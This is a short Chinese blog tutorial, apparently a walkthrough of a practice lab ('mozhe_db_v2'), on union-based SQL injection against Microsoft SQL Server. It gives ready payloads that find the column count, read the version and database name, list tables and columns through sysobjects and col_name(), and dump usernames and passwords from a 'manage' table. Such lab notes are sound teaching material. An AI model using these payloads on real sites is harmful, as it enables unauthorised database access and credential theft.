SQL-Server注入

一.开始

找注入点,判断字段,回显

sysobject 系统表

特性:union all select        联合查询要加all

1 and 1 1 and 1=2

order by 4

-2 union all select '1','2','3','4' from sysobject

二.查看数据库版本;数据库名字

@@version 版本

-2 union all select '1',db_name(),'3','4' 获取库名

sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

查询dbo.sysobjects表中⽤户创建的表,获取其对应的id和name

dbo.sysobjects 系统⾃带库 、xtype='U' 是指⽤户创建的表

-2 union all select '1',(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3','4'

三. 获取meeage对应的ID

-2 union all select '1',id,name,'4' from dbo.sysobjects where xtype='u'

四. 找到第二张表和其对应id;🍕

-2 union all select null,id,name,null from dbo.sysobjects where xtype= 'U' and id <> 5575058

五. 爆数据

object ():数据库中每个对象都有一个唯一的id值,

object_id(name)可以根据表对象名称得到表对象的ID,

object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果 ————————————————————

-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), '3' ,4
​
​
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4
​
​
?id=-2 union all select top 1 null,username,password,null from manage
​
?id=-2 union all select top 2 null,username,password,null from manage

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

故态复萌X

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值